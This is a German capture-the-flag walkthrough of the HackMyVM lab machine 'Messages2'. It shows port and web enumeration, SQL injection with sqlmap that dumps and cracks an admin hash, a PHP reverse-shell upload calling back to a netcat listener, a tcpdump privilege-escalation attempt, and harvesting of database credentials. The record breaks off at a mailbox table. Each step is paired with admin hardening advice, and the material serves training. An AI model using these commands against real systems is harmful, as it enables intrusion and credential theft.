Messages2 - HackMyVM - Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
gobuster
wget
wfuzz
sqlmap
Burp Suite (impliziert)
nc (netcat)
python3
stty
export
sudo (versucht)
find
cat
mktemp
chmod
tcpdump
mysql
john
Roundcube (Webmail)
vi / nano
ssh
grep
su
id
ls
pwd

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.110	08:00:27:fe:de:29	PCS Systemtechnik GmbH

Analyse: Mit `arp-scan -l` wird das lokale Netzwerk nach aktiven Hosts durchsucht.

Bewertung: Der Host `192.168.2.110` wird identifiziert. Die MAC-Adresse gehört zu Oracle VirtualBox (PCS Systemtechnik GmbH).

Empfehlung (Pentester):** Ziel-IP ist bekannt. Nächster Schritt ist ein Nmap-Scan, um offene Ports und Dienste zu finden.
Empfehlung (Admin):** Standard-Netzwerk-Monitoring. VM-Härtung.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.110 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-09 23:09 CET
Nmap scan report for mess.hmv (192.168.2.110)
Host is up (0.00014s latency).
Not shown: 65525 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 3f957fd8b055f255b0548fe30201ac61 (RSA)
|   256 4c93715cf7454a24d09ef8d51964ee9a (ECDSA)
|_  256 32809c9b8cb3c18c9b510825329cd6e4 (ED25519)
25/tcp  open  smtp     Postfix smtpd
|_smtp-commands: SMTP: EHL 521 5.5.1 Protocol error\x0D
80/tcp  open  http     nginx
|_http-title: Did not follow redirect to https://mess.hmv/
110/tcp open  pop3     Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mx.messages.hmv/organizationName=mx.messages.hmv/stateOrProvinceName=GuangDong/countryName=CN
| Not valid before: 2022-01-26T18:05:23
|_Not valid after:  2032-01-24T18:05:23
|_pop3-capabilities: UIDL STLS AUTH-RESP-CODE SASL CAPA TOP PIPELINING RESP-CODES
143/tcp open  imap     Dovecot imapd
| ssl-cert: Subject: commonName=mx.messages.hmv/organizationName=mx.messages.hmv/stateOrProvinceName=GuangDong/countryName=CN
| Not valid before: 2022-01-26T18:05:23
|_Not valid after:  2032-01-24T18:05:23
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: SASL-IR IDLE listed more IMAP4rev1 STARTTLS Pre-login OK LOGIN-REFERRALS capabilities ENABLE have LOGINDISABLEDA0001 post-login LITERAL+ ID
443/tcp open  ssl/http nginx
| ssl-cert: Subject: commonName=mx.messages.hmv/organizationName=mx.messages.hmv/stateOrProvinceName=GuangDong/countryName=CN
| Not valid before: 2022-01-26T18:05:23
|_Not valid after:  2032-01-24T18:05:23
|_ssl-date: TLS randomness does not represent time
|_http-title: Welcome to the Landing Page
| http-robots.txt: 1 disallowed entry
|_/
465/tcp open  ssl/smtp Postfix smtpd
| ssl-cert: Subject: commonName=mx.messages.hmv/organizationName=mx.messages.hmv/stateOrProvinceName=GuangDong/countryName=CN
| Not valid before: 2022-01-26T18:05:23
|_Not valid after:  2032-01-24T18:05:23
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: mx.messages.hmv, PIPELINING, SIZE 15728640, ETRN, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
587/tcp open  smtp     Postfix smtpd
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: mx.messages.hmv, PIPELINING, SIZE 15728640, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=mx.messages.hmv/organizationName=mx.messages.hmv/stateOrProvinceName=GuangDong/countryName=CN
| Not valid before: 2022-01-26T18:05:23
|_Not valid after:  2032-01-24T18:05:23
993/tcp open  imaps?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mx.messages.hmv/organizationName=mx.messages.hmv/stateOrProvinceName=GuangDong/countryName=CN
| Not valid before: 2022-01-26T18:05:23
|_Not valid after:  2032-01-24T18:05:23
|_imap-capabilities: SASL-IR IDLE listed more IMAP4rev1 OK Pre-login AUTH=PLAIN LOGIN-REFERRALS ENABLE capabilities have AUTH=LOGINA0001 post-login LITERAL+ ID
995/tcp open  pop3s?
| ssl-cert: Subject: commonName=mx.messages.hmv/organizationName=mx.messages.hmv/stateOrProvinceName=GuangDong/countryName=CN
| Not valid before: 2022-01-26T18:05:23
|_Not valid after:  2032-01-24T18:05:23
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: UIDL AUTH-RESP-CODE USER SASL(PLAIN LOGIN) CAPA TOP PIPELINING RESP-CODES
MAC Address: 08:00:27:FE:DE:29 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6, Linux 5.0 - 5.4
Network Distance: 1 hop
Service Info: Hosts: mess.hmv-mx.messages.hmv,  mx.messages.hmv; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms mess.hmv (192.168.2.110)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.90 seconds

Analyse: Ein detaillierter Nmap-Scan (`-sS`, `-sC`, `-T5`, `-A`, `-p-`) wird auf das Ziel `192.168.2.110` durchgeführt.

Bewertung: Es werden zahlreiche Ports gefunden, die auf einen Mail-Server hindeuten: * **22 (SSH):** OpenSSH 8.4p1 (Debian). * **25, 465, 587 (SMTP):** Postfix. Port 25 scheint fehlerhaft zu antworten. 465 (SMTPS) und 587 (Submission/STARTTLS) sind aktiv. * **80 (HTTP):** Nginx, leitet auf HTTPS weiter. * **110, 995 (POP3/S):** Dovecot. * **143, 993 (IMAP/S):** Dovecot. * **443 (HTTPS):** Nginx, zeigt eine "Landing Page". Wichtig ist, dass das SSL-Zertifikat für viele Dienste (POP3, IMAP, HTTPS, SMTPS) auf den Common Name `mx.messages.hmv` ausgestellt ist. Dies deutet auf eine wichtige Subdomain hin. Der Hostname `mess.hmv` wird ebenfalls erkannt. Nmap hat Schwierigkeiten bei der OS-Erkennung ("filtered ports").

Empfehlung (Pentester):** Die Angriffsfläche ist groß: 1. Fügen Sie `mess.hmv` und `mx.messages.hmv` zur lokalen `/etc/hosts`-Datei hinzu, um auf die Webanwendungen korrekt zugreifen zu können. 2. Untersuchen Sie die Webanwendungen auf Port 80/443 (`mess.hmv` und `mx.messages.hmv`) mit `gobuster` und manueller Analyse. 3. Die Mail-Dienste (SMTP, POP3, IMAP) sind potenzielle Ziele für Brute-Force-Angriffe, sobald Benutzernamen bekannt sind.
Empfehlung (Admin):** Stellen Sie sicher, dass alle Dienste (SSH, Postfix, Dovecot, Nginx) aktuell und sicher konfiguriert sind. Verwenden Sie gültige, nicht selbstsignierte SSL-Zertifikate. Beschränken Sie den Zugriff auf Dienste, wo möglich. Implementieren Sie Schutzmaßnahmen gegen Brute-Force-Angriffe auf Mail- und Web-Logins.

Web Enumeration

Analyse: Nach Hinzufügen der Hostnamen zur `/etc/hosts`-Datei wird der Webserver auf `https://messages.hmv` (Port 443) mit `gobuster` untersucht.

┌──(root㉿cyber)-[~] └─# gobuster dir -u "https://messages.hmv" -e -x txt,php,rar,zip,tar,pem,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,dot,htm,msi,mui,pdf,raw,rtf,vss,wbk,xls,xlsx,zip,kdbx,pgp,gpg -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -t 100 -k
===============================================================
Gobuster v...
...
===============================================================
[+] Url:                     https://messages.hmv
...
===============================================================
... Starting gobuster ...
===============================================================
https://messages.hmv/index.html                      (Status: 200) [Size: 6385]
https://messages.hmv/images                          (Status: 301) [Size: 162] [--> https://messages.hmv/images/]
https://messages.hmv/mail                            (Status: 301) [Size: 162] [--> https://messages.hmv/mail/]
https://messages.hmv/mail/index.php                  (Status: 200) [Size: 5272]
https://messages.hmv/mail/skins                      (Status: 301) [Size: 162] [--> https://messages.hmv/mail/skins/]
https://messages.hmv/mail/plugins                    (Status: 301) [Size: 162] [--> https://messages.hmv/mail/plugins/]
https://messages.hmv/mail/program                    (Status: 301) [Size: 162] [--> https://messages.hmv/mail/program/]
===============================================================
... Finished ...
===============================================================

Analyse Fortsetzung:** Anschließend wird der Webserver auf `https://mx.messages.hmv` (Port 443) untersucht.

┌──(root㉿cyber)-[~] └─# gobuster dir -u "https://mx.messages.hmv" -e -x ... [gleiche Optionen] ... -k
===============================================================
Gobuster v...
...
===============================================================
[+] Url:                     https://mx.messages.hmv
...
===============================================================
... Starting gobuster ...
===============================================================
https://mx.messages.hmv/chatbot/index.php            (Status: 200) [Size: 18968]
https://mx.messages.hmv/chatbot/uploads              (Status: 301) [Size: 162] [--> https://mx.messages.hmv/chatbot/uploads/]
https://mx.messages.hmv/chatbot/admin                (Status: 301) [Size: 162] [--> https://mx.messages.hmv/chatbot/admin/]
https://mx.messages.hmv/chatbot/portal.php           (Status: 500) [Size: 266]
https://mx.messages.hmv/chatbot/plugins              (Status: 301) [Size: 162] [--> https://mx.messages.hmv/chatbot/plugins/]
https://mx.messages.hmv/chatbot/database             (Status: 301) [Size: 162] [--> https://mx.messages.hmv/chatbot/database/]
https://mx.messages.hmv/chatbot/classes              (Status: 301) [Size: 162] [--> https://mx.messages.hmv/chatbot/classes/]
https://mx.messages.hmv/chatbot/config.php           (Status: 200) [Size: 0]
https://mx.messages.hmv/chatbot/dist                 (Status: 301) [Size: 162] [--> https://mx.messages.hmv/chatbot/dist/]
https://mx.messages.hmv/chatbot/404.html             (Status: 200) [Size: 198]
===============================================================
... Finished ...
===============================================================

Bewertung: Zwei verschiedene Webanwendungen werden gefunden: 1. **`https://messages.hmv/mail/`**: Sieht nach einer Webmail-Anwendung aus (z.B. Roundcube, judging by directory structure). 2. **`https://mx.messages.hmv/chatbot/`**: Eine Chatbot-Anwendung. Enthält ein Admin-Verzeichnis (`/admin`), ein Upload-Verzeichnis (`/uploads`) und eine interessante PHP-Klassen-Datei (`/classes/Login.php` wird später untersucht). Die Datei `config.php` ist leer. `portal.php` liefert einen Fehler (Status 500).

Empfehlung (Pentester):** Beide Anwendungen untersuchen: * **Webmail (`/mail`):** Versuchen, die genaue Software und Version zu identifizieren (z.B. über Quellcode, spezifische Dateien). Auf bekannte Schwachstellen prüfen. Standard-Logins versuchen, sobald Benutzernamen bekannt sind. * **Chatbot (`/chatbot`):** Fokus auf `/admin` (Login?) und `/classes/Login.php` (potenzielle Logikfehler, SQLi?). Das `/uploads`-Verzeichnis könnte für Dateiupload-Angriffe relevant sein.
Empfehlung (Admin):** Stellen Sie sicher, dass beide Anwendungen aktuell und sicher konfiguriert sind. Beschränken Sie den Zugriff auf administrative Bereiche. Deaktivieren Sie Verzeichnisauflistungen. Schützen Sie Konfigurationsdateien. Analysieren Sie den 500er-Fehler bei `portal.php`.

Analyse: Es wird `wfuzz` verwendet, um Parameter für die Datei `Login.php` im Chatbot-Verzeichnis zu finden. Zuerst wird versucht, den Parameter-Namen zu finden, der den Wert 'login' erwartet.

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u https://192.168.2.110//chatbot//classes/Login.php?FUZZ=login --hh 55 -k
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://192.168.2.110//chatbot//classes/Login.php?FUZZ=login
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000402:   200        0 L      13 W       99 Ch       "f"

Total time: ...
Processed Requests: ...
Filtered Requests: ...
Requests/sec.: ...

Analyse Fortsetzung:** Nachdem der Parameter `f` gefunden wurde, wird `wfuzz` erneut verwendet, um mögliche Werte für den Parameter `f` zu finden.

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u https://192.168.2.110//chatbot//classes/Login.php?f=FUZZ --hh 55 -k
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://192.168.2.110//chatbot//classes/Login.php?f=FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000066:   200        0 L      13 W       99 Ch       "login"
000000838:   200        0 L      13 W       99 Ch       "Login"
000001238:   200        0 L      1 W        57 Ch       "logout"
000014678:   200        0 L      1 W        57 Ch       "Logout"
000101642:   200        0 L      13 W       99 Ch       "LogIn"
000148866:   200        0 L      13 W       99 Ch       "LOGIN"

Total time: ...
Processed Requests: ...
Filtered Requests: ...
Requests/sec.: ...

Analyse Fortsetzung:** Ein weiterer `wfuzz`-Lauf testet SQL-Injection-Payloads im Parameter `f`.

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/wordlists/sqlinjections.txt -u https://192.168.2.110//chatbot//classes/Login.php?f=FUZZ -t 100 -Z --hh 55 -k
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://192.168.2.110//chatbot//classes/Login.php?f=FUZZ
Total requests: ...

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

... (viele Payloads) ...
XXXXX:       200        ...      ...        ...         login

=====================================================================
Error: JSONDecodeError - Expecting value: line 1 column 1 (char 0)
{"status":"incorrect","last_qry":"SELECT * from users where username = '' and password = md5('') "}

Bewertung: `wfuzz` identifiziert den Parameter `f` als gültig. Weitere Tests zeigen, dass Werte wie `login`, `logout` (und Variationen) akzeptiert werden. Der SQL-Injection-Test mit `wfuzz` liefert eine interessante JSON-Antwort im Fehlerfall, die eine SQL-Abfrage (`SELECT * from users where username = '' and password = md5('')`) offenlegt. Dies bestätigt, dass der `f=login`-Endpunkt mit der Datenbank interagiert und möglicherweise für SQL-Injection anfällig ist, auch wenn `wfuzz` selbst die Injection nicht direkt findet.

Empfehlung (Pentester):** Die offengelegte SQL-Abfrage und der Endpunkt `https://192.168.2.110/chatbot/classes/Login.php?f=login` sind vielversprechend für SQL-Injection. Verwenden Sie `sqlmap` mit POST-Daten (z.B. `username=admin&password=123`), um gezielt auf SQLi zu testen.
Empfehlung (Admin):** Beheben Sie die potenzielle SQL-Injection-Schwachstelle in `Login.php`. Geben Sie niemals interne SQL-Abfragen oder detaillierte Fehlermeldungen an den Client zurück. Verwenden Sie Prepared Statements. Schränken Sie die Funktionalität des `f`-Parameters ein.

SQL Injection

Analyse: `sqlmap` wird verwendet, um die vermutete SQL-Injection-Schwachstelle im Login-Endpunkt des Chatbots zu bestätigen und auszunutzen. Es wird die URL, Beispiel-POST-Daten (`username=admin&password=123`) und ein gültiges Session-Cookie (`PHPSESSID`) angegeben.

┌──(root㉿cyber)-[~] └─# sqlmap -u "https://192.168.2.110/chatbot/classes/Login.php?f=login" --data='username=admin&password=123' --cookie='PHPSESSID=mu674m7ejogkp6lqtedbrl58ge;' --batch --dbs
...
[*] starting @ ...
[INFO] testing connection to the target URL
[INFO] URL is stable
[INFO] testing if the target URL content is stable
[INFO] target URL content is stable
[INFO] POST parameter 'username' appears to be 'MySQL >= 5.0 Boolean-based blind' injectable
[INFO] POST parameter 'username' appears to be 'MySQL >= 5.0 Error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 Time-based blind' injectable
[INFO] POST parameter 'username' appears to be 'MySQL >= 5.0 UNION query (NULL) - 1 column' injectable
[INFO] testing MySQL
...
[INFO] the back-end DBMS is MySQL >= 5.0
...
available databases [9]:
[*] amavisd
[*] chatbot
[*] information_schema
[*] iredadmin
[*] iredapd
[*] mysql
[*] performance_schema
[*] roundcubemail
[*] vmail
...
[*] ending @ ...

Bewertung: `sqlmap` bestätigt erfolgreich mehrere Arten von SQL-Injection-Schwachstellen (Boolean-based blind, Error-based, Time-based blind, UNION query) im POST-Parameter `username`. Es listet auch die verfügbaren Datenbanken auf, darunter die interessante Datenbank `chatbot` sowie Mail-bezogene Datenbanken (`amavisd`, `iredadmin`, `iredapd`, `roundcubemail`, `vmail`).

Analyse Fortsetzung:** `sqlmap` wird erneut ausgeführt, um die Tabellen in der `chatbot`-Datenbank aufzulisten.

┌──(root㉿cyber)-[~] └─# sqlmap -u "https://192.168.2.110/chatbot/classes/Login.php?f=login" --data='username=admin&password=123' --cookie='PHPSESSID=mu674m7ejogkp6lqtedbrl58ge;' --batch -D chatbot --tables
...
Database: chatbot
[6 tables]
+---------------+
| frequent_asks |
| questions     |
| responses     |
| system_info   |
| unanswered    |
| users         |
+---------------+
...
[*] ending @ ...

Analyse Fortsetzung:** Schließlich wird `sqlmap` verwendet, um den Inhalt der Tabelle `users` in der Datenbank `chatbot` auszulesen (`--dump`).

┌──(root㉿cyber)-[~] └─# sqlmap -u "https://192.168.2.110/chatbot/classes/Login.php?f=login" --data='username=admin&password=123' --cookie='PHPSESSID=mu674m7ejogkp6lqtedbrl58ge;' --batch -D chatbot -T users --dump
...
[INFO] fetching entries for table 'users' in database 'chatbot'
[INFO] fetching number of entries for table 'users' in database 'chatbot'
[INFO] retrieved: 1
...
[INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[INFO] starting dictionary-based cracking (md5_generic_passwd)
[INFO] starting 12 processes
[INFO] cracked password 'admin123' for user 'admin'
Database: chatbot
Table: users
[1 entry]
+----+-------------------------------+----------+---------------------------------------------+----------+--------------+---------------------+------------+---------------------+
| id | avatar                        | lastname | password                                    | username | firstname    | date_added          | last_login | date_updated        |
+----+-------------------------------+----------+---------------------------------------------+----------+--------------+---------------------+------------+---------------------+
| 1  | uploads/1620201300_avatar.png | Admin    | 0192023a7bbd73250516f069df18b500 (admin123) | admin    | Adminstrator | 2021-01-20 14:02:37 | NULL       | 2021-05-05 15:55:28 |
+----+-------------------------------+----------+---------------------------------------------+----------+--------------+---------------------+------------+---------------------+
...
[*] ending @ 00:31:19 /2022-11-10/

Bewertung: Die SQL-Injection-Schwachstelle ermöglicht das Auslesen der `users`-Tabelle. Es wird ein Benutzer `admin` mit dem MD5-Passwort-Hash `0192023a7bbd73250516f069df18b500` gefunden. `sqlmap` knackt diesen Hash erfolgreich mit der eingebauten Wörterbuchattacke und findet das Klartextpasswort `admin123`.

Empfehlung (Pentester):** Verwenden Sie die gefundenen Zugangsdaten (`admin`:`admin123`), um sich beim Admin-Panel des Chatbots (`https://mx.messages.hmv/chatbot/admin/`) anzumelden.
Empfehlung (Admin):** Beheben Sie die SQL-Injection-Schwachstelle dringend durch Verwendung von Prepared Statements und korrekter Eingabevalidierung/-sanitisierung. Verwenden Sie niemals MD5 zum Speichern von Passwörtern; migrieren Sie zu bcrypt oder Argon2. Ändern Sie das kompromittierte Passwort `admin123` sofort.

Initial Access (RCE via File Upload)

Analyse: Mit den durch SQL-Injection gefundenen Zugangsdaten (`admin`:`admin123`) wird sich beim Admin-Panel des Chatbots (`https://mx.messages.hmv/chatbot/admin/`) angemeldet.

[Kein Prompt - Login im Browser]
URL: https://mx.messages.hmv/chatbot/admin/
Username: admin
Password: admin123

Analyse Fortsetzung:** Im Admin-Panel gibt es eine Funktion zum Ändern des Profilbildes (Avatars). Diese Funktion wird missbraucht, um eine PHP-Reverse-Shell hochzuladen. Der Angreifer wählt eine `rev.php`-Datei als neues Profilbild aus. Nach dem Upload wird der Quellcode der Seite untersucht (z.B. mit Entwicklerwerkzeugen im Browser), um den tatsächlichen Pfad zur hochgeladenen Datei zu finden.

[Kein Prompt - Aktionen im Admin-Panel & Browser]
1. Profilbild-Upload-Funktion finden.
2. PHP-Reverse-Shell (rev.php, angepasst mit Angreifer-IP/Port 9001) auswählen.
3. Datei hochladen.
4. Quellcode der Seite untersuchen / Netzwerkanfragen analysieren, um den Pfad zum hochgeladenen Bild zu finden.
   Gefundener Pfad: https://mx.messages.hmv//chatbot/uploads/1668037080_rev.php

Analyse Fortsetzung:** Ein Netcat-Listener wird auf dem Angreifer-System auf Port 9001 gestartet.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...

Analyse Fortsetzung:** Die URL der hochgeladenen PHP-Shell wird im Browser aufgerufen oder mit `curl` angefragt.

[Kein Prompt - Browser-Aufruf oder curl]
https://mx.messages.hmv//chatbot/uploads/1668037080_rev.php

Analyse Fortsetzung:** Der Aufruf der PHP-Datei führt dazu, dass der Server eine Verbindung zum Netcat-Listener aufbaut.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.109] from (UNKNOWN) [192.168.2.110] 39838
Linux messages 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64 GNU/Linux
 23:39:19 up  1:32,  0 users,  load average: 0.44, 0.12, 0.15
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Bewertung: Der Dateiupload für Profilbilder war unsicher und erlaubte das Hochladen und Ausführen von PHP-Code. Dies führte erfolgreich zu Remote Code Execution und einer Reverse Shell als `www-data`. Dies ist der initiale Zugriff auf das System.

Empfehlung (Pentester):** Stabilisieren Sie die erhaltene Shell. Führen Sie Enumeration als `www-data` durch, um Privilegieneskalations-Vektoren zu finden.
Empfehlung (Admin):** Implementieren Sie eine sichere Dateiupload-Validierung (Whitelist für Typen/Endungen, Neu-Generierung von Namen, Speichern außerhalb des Web-Roots, Inhaltsprüfung). Verhindern Sie die direkte Ausführung hochgeladener Dateien. Beschränken Sie die Rechte des `www-data`-Benutzers.

Post-Exploitation & User Enumeration

Analyse: Die erhaltene `www-data`-Shell wird stabilisiert.

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@messages:/$
www-data@messages:/$ export TERM=xterm
www-data@messages:/$ [Ctrl+Z]
zsh: suspended  nc -lvnp 9001
┌──(root㉿cyber)-[~] └─# stty raw -echo;fg
 [1]  + continued  nc -lvnp 9001
                                reset [Enter drücken]
 
www-data@messages:/$

Bewertung: Die Shell wurde erfolgreich stabilisiert.

Analyse: Es wird geprüft, ob `sudo` verfügbar ist und nach SUID-Dateien gesucht.

www-data@messages:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@messages:/$ sudo -l
bash: sudo: command not found
www-data@messages:/$ find / -user root -perm -4000 -ls 2>/dev/null
   259680     64 -rwsr-xr-x   1 root     root        63960 Feb  7  2020 /usr/bin/passwd
   259679     88 -rwsr-xr-x   1 root     root        88304 Feb  7  2020 /usr/bin/gpasswd
   261402     72 -rwsr-xr-x   1 root     root        71912 Jan 20  2022 /usr/bin/su
   263317     36 -rwsr-xr-x   1 root     root        35040 Jan 20  2022 /usr/bin/umount
   285339   1232 -rwsr-x---   1 root     ruby      1261512 Jan 15  2021 /usr/bin/tcpdump
   259676     60 -rwsr-xr-x   1 root     root        58416 Feb  7  2020 /usr/bin/chfn
   263316     56 -rwsr-xr-x   1 root     root        55528 Jan 20  2022 /usr/bin/mount
   259677     52 -rwsr-xr-x   1 root     root        52880 Feb  7  2020 /usr/bin/chsh
   263166     44 -rwsr-xr-x   1 root     root        44632 Feb  7  2020 /usr/bin/newgrp
   271344     52 -rwsr-xr--   1 root     messagebus    51336 Feb 21  2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   284971    472 -rwsr-xr-x   1 root     root         481608 Mar 13  2021 /usr/lib/openssh/ssh-keysign

Bewertung: `sudo` ist nicht installiert oder nicht im Pfad von `www-data`. Die SUID-Suche findet einige Standard-Binaries, aber auch `/usr/bin/tcpdump` mit SUID-Root-Bit und Gruppenzugehörigkeit `ruby`. Dies ist höchst ungewöhnlich und ein klarer potenzieller Privilegieneskalations-Vektor. Obwohl `www-data` nicht in der Gruppe `ruby` ist (`-rwsr-x---`), könnte es dennoch ausnutzbar sein (z.B. durch GTFOBins-Techniken).

Analyse Fortsetzung:** Ein Versuch, `tcpdump` mit der `-z`-Option (Post-rotate command) zur Ausführung eines Skripts zu nutzen, schlägt fehl (`Permission denied`), wahrscheinlich weil `www-data` nicht in der Gruppe `ruby` ist.

www-data@messages:/tmp$ COMMAND='id'
www-data@messages:/tmp$ TF=$(mktemp)
www-data@messages:/tmp$ echo "$COMMAND" > $TF
www-data@messages:/tmp$ chmod +x $TF
www-data@messages:/tmp$ tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
bash: /usr/bin/tcpdump: Permission denied

Bewertung: Der direkte Exploit über `tcpdump -z` als `www-data` funktioniert nicht. Es muss ein anderer Weg gefunden werden, oder der Exploit funktioniert nur für Benutzer in der Gruppe `ruby`.

Analyse: Die Home-Verzeichnisse werden untersucht. Das Verzeichnis `/home/ruby` wird gefunden.

www-data@messages:/tmp$ ls /home
iredadmin  iredapd  ruby  vmail

Analyse Fortsetzung:** Der Inhalt von `/home/ruby` wird untersucht. Eine Notizdatei (`notes`) und die User-Flag (`userflag.txt`) werden gefunden. Die Notiz wird gelesen.

www-data@messages:/tmp$ ls /home/ruby/
notes  userflag.txt
www-data@messages:/tmp$ cat /home/ruby/notes
todo:
trusted certificate
Change shell password to match webmail (stronger password)

done:
check email/iredadmin working OK
get chatbot working
connect from desktop
ssh keys only
create mailbox for root scripts (same pw)

Bewertung: Die Notizdatei enthält einen sehr wichtigen Hinweis: "Change shell password to match webmail (stronger password)". Das impliziert, dass das SSH-Passwort des Benutzers `ruby` (oder eines anderen Shell-Benutzers) aktuell mit dem Webmail-Passwort übereinstimmt. Außerdem wird erwähnt, dass SSH nur mit Keys funktioniert ("ssh keys only"), was aber möglicherweise nur eine Absicht war.

Analyse Fortsetzung:** Um an das Webmail-Passwort zu gelangen, wird die Konfigurationsdatei des Chatbots erneut untersucht, diesmal `initialize.php`.

www-data@messages:/tmp$ cat /var/www/html/chatbot/initialize.php


$dev_data = array('id'=>'-1','firstname'=>'Developer','lastname'=>''
,'username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0', // MD5 Hash
'last_login'=>'','date_updated'=>'','date_added'=>'');

if(!defined('base_url')) define('base_url','/chatbot/');
if(!defined('base_app')) define('base_app', str_replace('\\','/',__DIR__).'/' );
if(!defined('dev_data')) define('dev_data',$dev_data);
if(!defined('DB_SERVER')) define('DB_SERVER',"localhost");
if(!defined('DB_USERNAME')) define('DB_USERNAME',"chatbot");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"chatbot"); // Korrektur: DB_PASSWORD statt DB_PASSWRD
if(!defined('DB_NAME')) define('DB_NAME',"chatbot");

Bewertung: Diese Datei enthüllt einen weiteren Benutzer `dev_oretnom` mit einem MD5-Hash `5da283a2d990e8d8512cf967df5bc0d0` (könnte geknackt werden) und die Datenbank-Zugangsdaten `chatbot`:`chatbot`.

Analyse Fortsetzung:** Mit den neuen DB-Credentials `chatbot:chatbot` wird erneut auf die MariaDB zugegriffen und die Datenbank `vmail` untersucht, die zuvor identifiziert wurde.

www-data@messages:/tmp$ mysql -u chatbot -p
Enter password: chatbot
Welcome to the MariaDB monitor. ...
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| amavisd            |
| chatbot            |
| information_schema |
| iredadmin          |
| iredapd            |
| mysql              |
| performance_schema |
| roundcubemail      |
| vmail              |
+--------------------+
MariaDB [(none)]> use vmail;
Database changed
MariaDB [vmail]> show tables;
+----------------------+
| Tables_in_vmail      |
+----------------------+
...
| mailbox              |
...
+----------------------+
MariaDB [vmail]> select * from mailbox;
+-------------------------+-----------------------------------------------------------------------------------------------------------+------------+----------+---------------+---------------+----------------------+-------------+----------------------------------------------+-------+--------------+-----------+------------+--------+------------+---------+---------------+------------+-------------------+------------+-------------------+---------------+------------+-------------------+---------------+---------------+-----------+-------------------+--------------------------+-------------+--------------------+----------------+----------------+---------------+-------------------+--------------------+----------------------+------------+-------------+------------+-------------------+--------------------+----------------------+------------+------------+----------+---------------------+---------------------+---------------------+---------------------+--------+
| username                | password                                                                                                  | name       | language | mailboxformat | mailboxfolder | storagebasedirectory | storagenode | maildir                                      | quota | domain       | transport | department | rank   | employeeid | isadmin | isglobaladmin | enablesmtp | enablesmtpsecured | enablepop3 | enablepop3secured | enablepop3tls | enableimap | enableimapsecured | enableimaptls | enabledeliver | enablelda | enablemanagesieve | enablemanagesievesecured | enablesieve | enablesievesecured | enablesievetls | enableinternal | enabledoveadm | enablelib-storage | enablequota-status | enableindexer-worker | enablelmtp | enabledsync | enablesogo | enablesogowebmail | enablesogocalendar | enablesogoactivesync | allow_nets | disclaimer | settings | passwordlastchange  | created             | modified            | expired             | active |
